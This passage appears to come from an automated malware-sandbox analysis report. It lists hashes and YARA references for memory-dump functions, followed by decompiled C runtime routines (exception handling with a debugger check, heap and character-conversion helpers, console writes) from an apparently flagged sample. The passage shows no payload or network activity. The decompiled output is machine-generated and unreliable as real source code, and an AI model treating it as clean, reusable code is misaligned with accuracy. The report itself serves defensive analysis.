Opcode Fuzzy Hash: 8b57dd1efea015c270deb715233dc7a550225231b78be897e285370370923950
Instruction Fuzzy Hash: FD11C634B4028147FF206768E948BBF2656F785321F1008A3FA06C7745DBB5DC468BA1

Uniqueness

Uniqueness Score: -1.00%

Function 05402D9A, Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.547304120.0000000005400000.00000040.00000001.sdmp, Offset: 05400000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a63b8dbdf7ab7ca0ba9abdfe922ba4e20d2a778f12f3119322fb3d4173618f8c
Instruction ID: 5b1310231ff28399e5fe1ae61f6896b6f3b82839ff63708b10eda103aa0c6446
Opcode Fuzzy Hash: a63b8dbdf7ab7ca0ba9abdfe922ba4e20d2a778f12f3119322fb3d4173618f8c
Instruction Fuzzy Hash: EB21C8B5508341AFD341CF59D881A5BFBE4FF89660F04896EF988D7312E275E9048F62

Uniqueness

Uniqueness Score: -1.00%

Function 0540380C, Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.547304120.0000000005400000.00000040.00000001.sdmp, Offset: 05400000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53a9ef87e219eeba4595e75a88b3ae79274e1eaf5217a4b3137f51e7e4a4090d
Instruction ID: e09375b99e6626fcaebd0ae1156041cdcaf2db064c0dc52f34cf0a1a1fe713e5
Opcode Fuzzy Hash: 53a9ef87e219eeba4595e75a88b3ae79274e1eaf5217a4b3137f51e7e4a4090d
Instruction Fuzzy Hash: 1D11B8B5908341AFD350CF19D881A5BFBE4FB88664F04896EF99897311E231E9048FA2

Uniqueness

Uniqueness Score: -1.00%

Function 024F8124, Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.545731639.00000000024F0000.00000040.00000040.sdmp, Offset: 024F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eee62620c8f2dad1ffdc3f1ef041a16bc19aed4db78e908fe10cf10213101c5a
Instruction ID: bb270ba589c25cecbd3ec22bf17ea104b078e4bd3f2c12f330eb5684b802f73c
Opcode Fuzzy Hash: eee62620c8f2dad1ffdc3f1ef041a16bc19aed4db78e908fe10cf10213101c5a
Instruction Fuzzy Hash: C511B7352442849FD756CB14CA44B26BB96EBC4708F28C69DEA490F743C777D443C651

Uniqueness

Uniqueness Score: -1.00%

Function 054036B0, Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.547304120.0000000005400000.00000040.00000001.sdmp, Offset: 05400000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf9ebe513fa2cc0c4dc9dbb8a5ec9aeeadbfa6293a0a1dcea1283f65cba98219
Instruction ID: 0ee967c106fb3b2ce369fdf7f72231550846eec574fcb6de28910e1b3d0d67a7
Opcode Fuzzy Hash: cf9ebe513fa2cc0c4dc9dbb8a5ec9aeeadbfa6293a0a1dcea1283f65cba98219
Instruction Fuzzy Hash: BD11ACB5508301AFD350CF49DC85A57FBE4EB88660F04C91EF95997311D271E9048BA2

Uniqueness

Uniqueness Score: -1.00%

Function 054459D8, Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.547326288.0000000005440000.00000040.00000001.sdmp, Offset: 05440000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9be0ef2b0d12a75e30573793eb7eb9fc77110704ebc19af751fde5cb4d6f9a9
Instruction ID: 6372990c1d030aab7a482de7147480a3469c4eb763fff6759b34abefea188da0
Opcode Fuzzy Hash: b9be0ef2b0d12a75e30573793eb7eb9fc77110704ebc19af751fde5cb4d6f9a9
Instruction Fuzzy Hash: A7015B309402189BEB209F68C949BDF7BF9FB49324F1444AAD406B3341DB749881CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 024F05CF, Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.545731639.00000000024F0000.00000040.00000040.sdmp, Offset: 024F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a3f71795352350bac21c90736b48e83d3cb74ed642e871a427682685b67954d
Instruction ID: 04d2b1f503ea29e3d30a57710b1c93b145d7053e8d4a43096302a9f789e26132
Opcode Fuzzy Hash: 9a3f71795352350bac21c90736b48e83d3cb74ed642e871a427682685b67954d
Instruction Fuzzy Hash: C501DBB15497805FC3528F15DC41853BFF8EF8663070984EFEC498B612D235A909CB71

Uniqueness

Uniqueness Score: -1.00%

Function 024F8114, Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.545731639.00000000024F0000.00000040.00000040.sdmp, Offset: 024F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5b3a07333403a3a8ca72b519a6f77f5cfbc9a90ec737330118fe2c7bf602577
Instruction ID: 0a7fd6ff0098c6e9b9166dafe479e32db96e4ba1769a315c482ecbde14ab57cd
Opcode Fuzzy Hash: e5b3a07333403a3a8ca72b519a6f77f5cfbc9a90ec737330118fe2c7bf602577
Instruction Fuzzy Hash: 3B112E351486849FC757CB10C940B16BBA2EB86718F28C6DED9894B762C33A9816DB52

Uniqueness

Uniqueness Score: -1.00%

Function 05445B70, Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.547326288.0000000005440000.00000040.00000001.sdmp, Offset: 05440000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6867fb0461696c384a9d71634b53d6632dffc531c7540a787c48f64b737db1de
Instruction ID: 7f0be3c192de4dc50641ac0dfdb370bde62b9f84f2a6ed93bd62862e7e6b1821
Opcode Fuzzy Hash: 6867fb0461696c384a9d71634b53d6632dffc531c7540a787c48f64b737db1de
Instruction Fuzzy Hash: 1EF0303174016407FF30257E6859BBF624AF7C7660F1144BAE50BD7380E995CC420B96

Uniqueness

Uniqueness Score: -1.00%

Function 024F81E0, Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.545731639.00000000024F0000.00000040.00000040.sdmp, Offset: 024F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d74a29df55c69f98ab7c4b2aae8ba2665a8ebae01658a76b7ab1be4c5fff073
Instruction ID: 027a3930ed727f07b46fa79eb5d4a15b0f732a13da7ce83606e556444c0870f2
Opcode Fuzzy Hash: 8d74a29df55c69f98ab7c4b2aae8ba2665a8ebae01658a76b7ab1be4c5fff073
Instruction Fuzzy Hash: BAF01D35104644DFC316CF00D940B16FBA2EB89718F24C6ADED490B752C737D813DA81

Uniqueness

Uniqueness Score: -1.00%

Function 024F05F6, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.545731639.00000000024F0000.00000040.00000040.sdmp, Offset: 024F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a759ae7711af0845f5902ca203291585b1c2f1eb298c2cdb5ae323432c5be09
Instruction ID: d05f6d3664cbf5c48b8450ab89d523aa4c58710f0bdf5b2e6f94911183c03dc1
Opcode Fuzzy Hash: 2a759ae7711af0845f5902ca203291585b1c2f1eb298c2cdb5ae323432c5be09
Instruction Fuzzy Hash: 21E092B6A447004BD650CF0AEC85452F794EB84631B18C17FDC0D8B700E536F508CEA5

Uniqueness

Uniqueness Score: -1.00%

Function 05403877, Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.547304120.0000000005400000.00000040.00000001.sdmp, Offset: 05400000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 146780daf6eb95c3c08bfc21ca8afdfbade95d3f3b8f053986d3dd7bb8d89326
Instruction ID: 0acd89a024c07b917bbd7d8452b2d3f08ac42a455fbf152d562b26d43c445712
Opcode Fuzzy Hash: 146780daf6eb95c3c08bfc21ca8afdfbade95d3f3b8f053986d3dd7bb8d89326
Instruction Fuzzy Hash: 7AE0D8B294130067D2508E06EC86B53FB58EB80A31F04C56BED0C1B302E072B5148AF1

Uniqueness

Uniqueness Score: -1.00%

Function 05402E0F, Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.547304120.0000000005400000.00000040.00000001.sdmp, Offset: 05400000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9f50fa21b7cf86a084c7186db960c17ff6b03e04e8894f939d5b67a2529368b
Instruction ID: 8d1e45649d085bed0c45f34e0d1525a33544883fb75f6a1e6b41589e871b816f
Opcode Fuzzy Hash: c9f50fa21b7cf86a084c7186db960c17ff6b03e04e8894f939d5b67a2529368b
Instruction Fuzzy Hash: 89E0D8B290170067D2508F06DC86B53FB58EB80A30F04C55BED0C1F302E072B5148AF1

Uniqueness

Uniqueness Score: -1.00%

Function 054036FF, Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.547304120.0000000005400000.00000040.00000001.sdmp, Offset: 05400000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b17446bffb334649b2052fc4891679109bc7f719176583955453af709066277
Instruction ID: ca4fdfb366c75ebf2a850a6dd5da1e4f69e3bbb1efc6bef67740daaebc405491
Opcode Fuzzy Hash: 9b17446bffb334649b2052fc4891679109bc7f719176583955453af709066277
Instruction Fuzzy Hash: 8FE0D8B290130467D2508E06DC86B53FB58EB40A30F04C55BED0D1B302E172B5048AF1

Uniqueness

Uniqueness Score: -1.00%

Function 00C023F4, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.545413487.0000000000C02000.00000040.00000001.sdmp, Offset: 00C02000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 742d4c933b215819b62c0f330f8b13347e8bb3cc7ff94e40855fe6e2c236ed9f
Instruction ID: 88eba1245c4083f6b4facde12fe447c09e0d79ac384e202bff52b78e1ba04a5c
Opcode Fuzzy Hash: 742d4c933b215819b62c0f330f8b13347e8bb3cc7ff94e40855fe6e2c236ed9f
Instruction Fuzzy Hash: 98D05E79205AC14FD3268A1CC2A8B953BD4AF51B04F4684F9A8008B6A3C768DA81E200

Uniqueness

Uniqueness Score: -1.00%

Function 00C023BC, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.545413487.0000000000C02000.00000040.00000001.sdmp, Offset: 00C02000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2684b6ae75143f4ea470676be6eaa181bb52d3298551d681c023ab5c335c1ba7
Instruction ID: baf7e5c1add06d14c64e9da58690500bbd17db2b6b8296eba0231591a6a5d955
Opcode Fuzzy Hash: 2684b6ae75143f4ea470676be6eaa181bb52d3298551d681c023ab5c335c1ba7
Instruction Fuzzy Hash: BAD05E342001814BCB16DB0CD698F5937D8AB41B00F0644E8AC108B2B2C7B8DD81C600

Uniqueness

Uniqueness Score: -1.00%

Function 054444D2, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.547326288.0000000005440000.00000040.00000001.sdmp, Offset: 05440000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 133791943845ac55eced9c6fd85d6c832147f597b1b12bff64b6a7e7c2336e2a
Instruction ID: dd269cfe51c69f83de2a84b18769b4b973acc00d0b173220a7a1467bc0e64f10
Opcode Fuzzy Hash: 133791943845ac55eced9c6fd85d6c832147f597b1b12bff64b6a7e7c2336e2a
Instruction Fuzzy Hash: BFD0A938204ACA4BF342E730E9287D82F10EB82304FD490EC90904A88BCB1989038BB2

Uniqueness

Uniqueness Score: -1.00%

Function 05446F08, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.547326288.0000000005440000.00000040.00000001.sdmp, Offset: 05440000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: addf90027ab854dd1acf988c9e40ee0b06cec11324a6d60ebae6c18a117c4814
Instruction ID: f6c702c343caec2a043f9273dc428b2360294c26144485a3c6e58e20f5c23351
Opcode Fuzzy Hash: addf90027ab854dd1acf988c9e40ee0b06cec11324a6d60ebae6c18a117c4814
Instruction Fuzzy Hash: ECC04C7580462386EF214631A84779537D8FB22246F1A4575D441CD6A5D62FC607AD13

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040446F, Relevance: 4.6, APIs: 3, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E0040446F(intOrPtr __ebx, intOrPtr __edx, intOrPtr __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v0;
				signed int _v8;
				intOrPtr _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				char _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v724;
				intOrPtr _v792;
				intOrPtr _v800;
				char _v804;
				struct _EXCEPTION_POINTERS _v812;
				void* __edi;
				signed int _t40;
				char* _t47;
				char* _t49;
				long _t57;
				intOrPtr _t59;
				intOrPtr _t60;
				intOrPtr _t64;
				intOrPtr _t65;
				int _t66;
				intOrPtr _t68;
				signed int _t69;

				_t68 = __esi;
				_t64 = __edx;
				_t59 = __ebx;
				_t40 =  *0x412014; // 0x1055ab70
				_t41 = _t40 ^ _t69;
				_v8 = _t40 ^ _t69;
				_push(_t65);
				if(_a4 != 0xffffffff) {
					_push(_a4);
					E00401E6A(_t41);
					_pop(_t60);
				}
				E00402460(_t65,  &_v804, 0, 0x50);
				E00402460(_t65,  &_v724, 0, 0x2cc);
				_v812.ExceptionRecord =  &_v804;
				_t47 =  &_v724;
				_v812.ContextRecord = _t47;
				_v548 = _t47;
				_v552 = _t60;
				_v556 = _t64;
				_v560 = _t59;
				_v564 = _t68;
				_v568 = _t65;
				_v524 = ss;
				_v536 = cs;
				_v572 = ds;
				_v576 = es;
				_v580 = fs;
				_v584 = gs;
				asm("pushfd");
				_pop( *_t22);
				_v540 = _v0;
				_t49 =  &_v0;
				_v528 = _t49;
				_v724 = 0x10001;
				_v544 =  *((intOrPtr*)(_t49 - 4));
				_v804 = _a8;
				_v800 = _a12;
				_v792 = _v0;
				_t66 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(0);
				_t57 = UnhandledExceptionFilter( &_v812);
				if(_t57 == 0 && _t66 == 0 && _a4 != 0xffffffff) {
					_push(_a4);
					_t57 = E00401E6A(_t57);
				}
				E004018CC();
				return _t57;
			}

0x0040446f
0x0040446f
0x0040446f
0x0040447a
0x0040447f
0x00404481
0x00404488
0x00404489
0x0040448b
0x0040448e
0x00404493
0x00404493
0x0040449f
0x004044b2
0x004044c0
0x004044c6
0x004044cc
0x004044d2
0x004044d8
0x004044de
0x004044e4
0x004044ea
0x004044f0
0x004044f6
0x004044fd
0x00404504
0x0040450b
0x00404512
0x00404519
0x00404520
0x00404521
0x0040452a
0x00404530
0x00404533
0x00404539
0x00404546
0x0040454f
0x00404558
0x00404561
0x0040456f
0x00404571
0x0040457e
0x00404586
0x00404592
0x00404595
0x0040459a
0x004045a1
0x004045a9

APIs

IsDebuggerPresent.KERNEL32 ref: 00404567
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00404571
UnhandledExceptionFilter.KERNEL32(?), ref: 0040457E

Memory Dump Source

Source File: 00000001.00000002.544787506.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 2ea22a54f0bb21e3e7ef13a2463ede0b165cda552ac7540fe10d04093127767f
Instruction ID: 1195a769eb9e4d04bd79abb1e2ff1cfbb043d98aa737aaf25acc392e7af51fe4
Opcode Fuzzy Hash: 2ea22a54f0bb21e3e7ef13a2463ede0b165cda552ac7540fe10d04093127767f
Instruction Fuzzy Hash: 5931C674901218EBCB21DF64DD8878DB7B4BF48310F5042EAE50CA7290E7749F858F49

Uniqueness

Uniqueness Score: -1.00%

Function 004067FE, Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004067FE() {
				signed int _t3;

				_t3 = GetProcessHeap();
				 *0x4132b0 = _t3;
				return _t3 & 0xffffff00 | _t3 != 0x00000000;
			}

0x004067fe
0x00406806
0x0040680e

APIs

GetProcessHeap.KERNEL32 ref: 004067FE

Memory Dump Source

Source File: 00000001.00000002.544787506.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 4abe4d7e697a5e334cba9e91fa50753fcf89eadab84e16c7efba8372fc9c1de6
Instruction ID: ab0ad82ebdde72e163074a118323e5abeae2aeda4b6cf9790db401cd62e62c3c
Opcode Fuzzy Hash: 4abe4d7e697a5e334cba9e91fa50753fcf89eadab84e16c7efba8372fc9c1de6
Instruction Fuzzy Hash: F7A011B0200200CBC3008F38AA8820A3AA8AA08282308C2B8A008C00A0EB388088AA08

Uniqueness

Uniqueness Score: -1.00%

Function 004078CF, Relevance: 12.2, APIs: 8, Instructions: 216
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E004078CF(void* __ecx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, char* _a16, int _a20, intOrPtr _a24, short* _a28, int _a32, intOrPtr _a36) {
				signed int _v8;
				int _v12;
				void* _v24;
				signed int _t49;
				signed int _t54;
				int _t56;
				signed int _t58;
				short* _t60;
				signed int _t64;
				short* _t68;
				int _t76;
				short* _t79;
				signed int _t85;
				signed int _t88;
				void* _t93;
				void* _t94;
				int _t96;
				short* _t99;
				int _t101;
				int _t103;
				signed int _t104;
				short* _t105;
				void* _t108;

				_push(__ecx);
				_push(__ecx);
				_t49 =  *0x412014; // 0x1055ab70
				_v8 = _t49 ^ _t104;
				_t101 = _a20;
				if(_t101 > 0) {
					_t76 = E004080D8(_a16, _t101);
					_t108 = _t76 - _t101;
					_t4 = _t76 + 1; // 0x1
					_t101 = _t4;
					if(_t108 >= 0) {
						_t101 = _t76;
					}
				}
				_t96 = _a32;
				if(_t96 == 0) {
					_t96 =  *( *_a4 + 8);
					_a32 = _t96;
				}
				_t54 = MultiByteToWideChar(_t96, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t101, 0, 0);
				_v12 = _t54;
				if(_t54 == 0) {
					L38:
					E004018CC();
					return _t54;
				} else {
					_t93 = _t54 + _t54;
					_t83 = _t93 + 8;
					asm("sbb eax, eax");
					if((_t93 + 0x00000008 & _t54) == 0) {
						_t79 = 0;
						__eflags = 0;
						L14:
						if(_t79 == 0) {
							L36:
							_t103 = 0;
							L37:
							E004063D5(_t79);
							_t54 = _t103;
							goto L38;
						}
						_t56 = MultiByteToWideChar(_t96, 1, _a16, _t101, _t79, _v12);
						_t119 = _t56;
						if(_t56 == 0) {
							goto L36;
						}
						_t98 = _v12;
						_t58 = E00405989(_t83, _t119, _a8, _a12, _t79, _v12, 0, 0, 0, 0, 0);
						_t103 = _t58;
						if(_t103 == 0) {
							goto L36;
						}
						if((_a12 & 0x00000400) == 0) {
							_t94 = _t103 + _t103;
							_t85 = _t94 + 8;
							__eflags = _t94 - _t85;
							asm("sbb eax, eax");
							__eflags = _t85 & _t58;
							if((_t85 & _t58) == 0) {
								_t99 = 0;
								__eflags = 0;
								L30:
								__eflags = _t99;
								if(__eflags == 0) {
									L35:
									E004063D5(_t99);
									goto L36;
								}
								_t60 = E00405989(_t85, __eflags, _a8, _a12, _t79, _v12, _t99, _t103, 0, 0, 0);
								__eflags = _t60;
								if(_t60 == 0) {
									goto L35;
								}
								_push(0);
								_push(0);
								__eflags = _a28;
								if(_a28 != 0) {
									_push(_a28);
									_push(_a24);
								} else {
									_push(0);
									_push(0);
								}
								_t103 = WideCharToMultiByte(_a32, 0, _t99, _t103, ??, ??, ??, ??);
								__eflags = _t103;
								if(_t103 != 0) {
									E004063D5(_t99);
									goto L37;
								} else {
									goto L35;
								}
							}
							_t88 = _t94 + 8;
							__eflags = _t94 - _t88;
							asm("sbb eax, eax");
							_t64 = _t58 & _t88;
							_t85 = _t94 + 8;
							__eflags = _t64 - 0x400;
							if(_t64 > 0x400) {
								__eflags = _t94 - _t85;
								asm("sbb eax, eax");
								_t99 = E00403E3D(_t85, _t64 & _t85);
								_pop(_t85);
								__eflags = _t99;
								if(_t99 == 0) {
									goto L35;
								}
								 *_t99 = 0xdddd;
								L28:
								_t99 =  &(_t99[4]);
								goto L30;
							}
							__eflags = _t94 - _t85;
							asm("sbb eax, eax");
							E004018E0();
							_t99 = _t105;
							__eflags = _t99;
							if(_t99 == 0) {
								goto L35;
							}
							 *_t99 = 0xcccc;
							goto L28;
						}
						_t68 = _a28;
						if(_t68 == 0) {
							goto L37;
						}
						_t123 = _t103 - _t68;
						if(_t103 > _t68) {
							goto L36;
						}
						_t103 = E00405989(0, _t123, _a8, _a12, _t79, _t98, _a24, _t68, 0, 0, 0);
						if(_t103 != 0) {
							goto L37;
						}
						goto L36;
					}
					asm("sbb eax, eax");
					_t70 = _t54 & _t93 + 0x00000008;
					_t83 = _t93 + 8;
					if((_t54 & _t93 + 0x00000008) > 0x400) {
						__eflags = _t93 - _t83;
						asm("sbb eax, eax");
						_t79 = E00403E3D(_t83, _t70 & _t83);
						_pop(_t83);
						__eflags = _t79;
						if(__eflags == 0) {
							goto L36;
						}
						 *_t79 = 0xdddd;
						L12:
						_t79 =  &(_t79[4]);
						goto L14;
					}
					asm("sbb eax, eax");
					E004018E0();
					_t79 = _t105;
					if(_t79 == 0) {
						goto L36;
					}
					 *_t79 = 0xcccc;
					goto L12;
				}
			}

0x004078d4
0x004078d5
0x004078d6
0x004078dd
0x004078e2
0x004078e8
0x004078ee
0x004078f4
0x004078f7
0x004078f7
0x004078fa
0x004078fc
0x004078fc
0x004078fa
0x004078fe
0x00407903
0x0040790a
0x0040790d
0x0040790d
0x00407929
0x0040792f
0x00407934
0x00407ac7
0x00407ad2
0x00407ada
0x0040793a
0x0040793a
0x0040793d
0x00407942
0x00407946
0x0040799a
0x0040799a
0x0040799c
0x0040799e
0x00407abc
0x00407abc
0x00407abe
0x00407abf
0x00407ac5
0x00000000
0x00407ac5
0x004079af
0x004079b5
0x004079b7
0x00000000
0x00000000
0x004079bd
0x004079cf
0x004079d4
0x004079d8
0x00000000
0x00000000
0x004079e5
0x00407a1f
0x00407a22
0x00407a25
0x00407a27
0x00407a29
0x00407a2b
0x00407a77
0x00407a77
0x00407a79
0x00407a79
0x00407a7b
0x00407ab5
0x00407ab6
0x00000000
0x00407abb
0x00407a8f
0x00407a94
0x00407a96
0x00000000
0x00000000
0x00407a9a
0x00407a9b
0x00407a9c
0x00407a9f
0x00407adb
0x00407ade
0x00407aa1
0x00407aa1
0x00407aa2
0x00407aa2
0x00407aaf
0x00407ab1
0x00407ab3
0x00407ae4
0x00000000
0x00000000
0x00000000
0x00000000
0x00407ab3
0x00407a2d
0x00407a30
0x00407a32
0x00407a34
0x00407a36
0x00407a39
0x00407a3e
0x00407a59
0x00407a5b
0x00407a65
0x00407a67
0x00407a68
0x00407a6a
0x00000000
0x00000000
0x00407a6c
0x00407a72
0x00407a72
0x00000000
0x00407a72
0x00407a40
0x00407a42
0x00407a46
0x00407a4b
0x00407a4d
0x00407a4f
0x00000000
0x00000000
0x00407a51
0x00000000
0x00407a51
0x004079e7
0x004079ec
0x00000000
0x00000000
0x004079f2
0x004079f4
0x00000000
0x00000000
0x00407a10
0x00407a14
0x00000000
0x00000000
0x00000000
0x00407a1a
0x0040794d
0x0040794f
0x00407951
0x00407959
0x00407978
0x0040797a
0x00407984
0x00407986
0x00407987
0x00407989
0x00000000
0x00000000
0x0040798f
0x00407995
0x00407995
0x00000000
0x00407995
0x0040795d
0x00407961
0x00407966
0x0040796a
0x00000000
0x00000000
0x00407970
0x00000000
0x00407970

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00000100,?,00000000,?,?,?,00407B20,?,?,00000000), ref: 00407929
__alloca_probe_16.LIBCMT ref: 00407961
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?,?,?,?,00407B20,?,?,00000000,?,?,?), ref: 004079AF
__alloca_probe_16.LIBCMT ref: 00407A46
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00407AA9
__freea.LIBCMT ref: 00407AB6

Part of subcall function 00403E3D: RtlAllocateHeap.NTDLL(00000000,?,00000004,?,00407C67,?,00000000,?,004067DA,?,00000004,?,?,?,?,00403B03), ref: 00403E6F

__freea.LIBCMT ref: 00407ABF
__freea.LIBCMT ref: 00407AE4

Memory Dump Source

Source File: 00000001.00000001.287702890.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000001.287742408.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 3864826663-0
Opcode ID: dda1088f7075954fbe6023d44dc497f251e567ba65003bd3d831429d24d78928
Instruction ID: 2b56c59f559f8582b2a4feb05c221e86bbfe0f9b068744966d06d01a738823cf
Opcode Fuzzy Hash: dda1088f7075954fbe6023d44dc497f251e567ba65003bd3d831429d24d78928
Instruction Fuzzy Hash: 8051D572B04216ABDB259F64CC41EAF77A9DB40760B15463EFC04F62C1DB38ED50CAA9

Uniqueness

Uniqueness Score: -1.00%

Function 00408223, Relevance: 10.7, APIs: 7, Instructions: 152
fileCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E00408223(intOrPtr* _a4, signed int _a8, signed char* _a12, intOrPtr _a16) {
				signed int _v8;
				signed char _v15;
				char _v16;
				void _v24;
				short _v28;
				char _v31;
				void _v32;
				long _v36;
				intOrPtr _v40;
				void* _v44;
				signed int _v48;
				signed char* _v52;
				long _v56;
				int _v60;
				void* __ebx;
				signed int _t78;
				signed int _t80;
				int _t86;
				void* _t93;
				long _t96;
				void _t104;
				void* _t111;
				signed int _t115;
				signed int _t118;
				signed char _t123;
				signed char _t128;
				intOrPtr _t129;
				signed int _t131;
				signed char* _t133;
				intOrPtr* _t136;
				signed int _t138;
				void* _t139;

				_t78 =  *0x412014; // 0x1055ab70
				_v8 = _t78 ^ _t138;
				_t80 = _a8;
				_t118 = _t80 >> 6;
				_t115 = (_t80 & 0x0000003f) * 0x30;
				_t133 = _a12;
				_v52 = _t133;
				_v48 = _t118;
				_v44 =  *((intOrPtr*)( *((intOrPtr*)(0x4130a0 + _t118 * 4)) + _t115 + 0x18));
				_v40 = _a16 + _t133;
				_t86 = GetConsoleCP();
				_t136 = _a4;
				_v60 = _t86;
				 *_t136 = 0;
				 *((intOrPtr*)(_t136 + 4)) = 0;
				 *((intOrPtr*)(_t136 + 8)) = 0;
				while(_t133 < _v40) {
					_v28 = 0;
					_v31 =  *_t133;
					_t129 =  *((intOrPtr*)(0x4130a0 + _v48 * 4));
					_t123 =  *(_t129 + _t115 + 0x2d);
					if((_t123 & 0x00000004) == 0) {
						if(( *(E00405FC6(_t115, _t129) + ( *_t133 & 0x000000ff) * 2) & 0x00008000) == 0) {
							_push(1);
							_push(_t133);
							goto L8;
						} else {
							if(_t133 >= _v40) {
								_t131 = _v48;
								 *((char*)( *((intOrPtr*)(0x4130a0 + _t131 * 4)) + _t115 + 0x2e)) =  *_t133;
								 *( *((intOrPtr*)(0x4130a0 + _t131 * 4)) + _t115 + 0x2d) =  *( *((intOrPtr*)(0x4130a0 + _t131 * 4)) + _t115 + 0x2d) | 0x00000004;
								 *((intOrPtr*)(_t136 + 4)) =  *((intOrPtr*)(_t136 + 4)) + 1;
							} else {
								_t111 = E00407222( &_v28, _t133, 2);
								_t139 = _t139 + 0xc;
								if(_t111 != 0xffffffff) {
									_t133 =  &(_t133[1]);
									goto L9;
								}
							}
						}
					} else {
						_t128 = _t123 & 0x000000fb;
						_v16 =  *((intOrPtr*)(_t129 + _t115 + 0x2e));
						_push(2);
						_v15 = _t128;
						 *(_t129 + _t115 + 0x2d) = _t128;
						_push( &_v16);
						L8:
						_push( &_v28);
						_t93 = E00407222();
						_t139 = _t139 + 0xc;
						if(_t93 != 0xffffffff) {
							L9:
							_t133 =  &(_t133[1]);
							_t96 = WideCharToMultiByte(_v60, 0,  &_v28, 1,  &_v24, 5, 0, 0);
							_v56 = _t96;
							if(_t96 != 0) {
								if(WriteFile(_v44,  &_v24, _t96,  &_v36, 0) == 0) {
									L19:
									 *_t136 = GetLastError();
								} else {
									 *((intOrPtr*)(_t136 + 4)) =  *((intOrPtr*)(_t136 + 8)) - _v52 + _t133;
									if(_v36 >= _v56) {
										if(_v31 != 0xa) {
											goto L16;
										} else {
											_t104 = 0xd;
											_v32 = _t104;
											if(WriteFile(_v44,  &_v32, 1,  &_v36, 0) == 0) {
												goto L19;
											} else {
												if(_v36 >= 1) {
													 *((intOrPtr*)(_t136 + 8)) =  *((intOrPtr*)(_t136 + 8)) + 1;
													 *((intOrPtr*)(_t136 + 4)) =  *((intOrPtr*)(_t136 + 4)) + 1;
													goto L16;
												}
											}
										}
									}
								}
							}
						}
					}
					goto L20;
					L16:
				}
				L20:
				E004018CC();
				return _t136;
			}

0x0040822b
0x00408232
0x00408235
0x0040823d
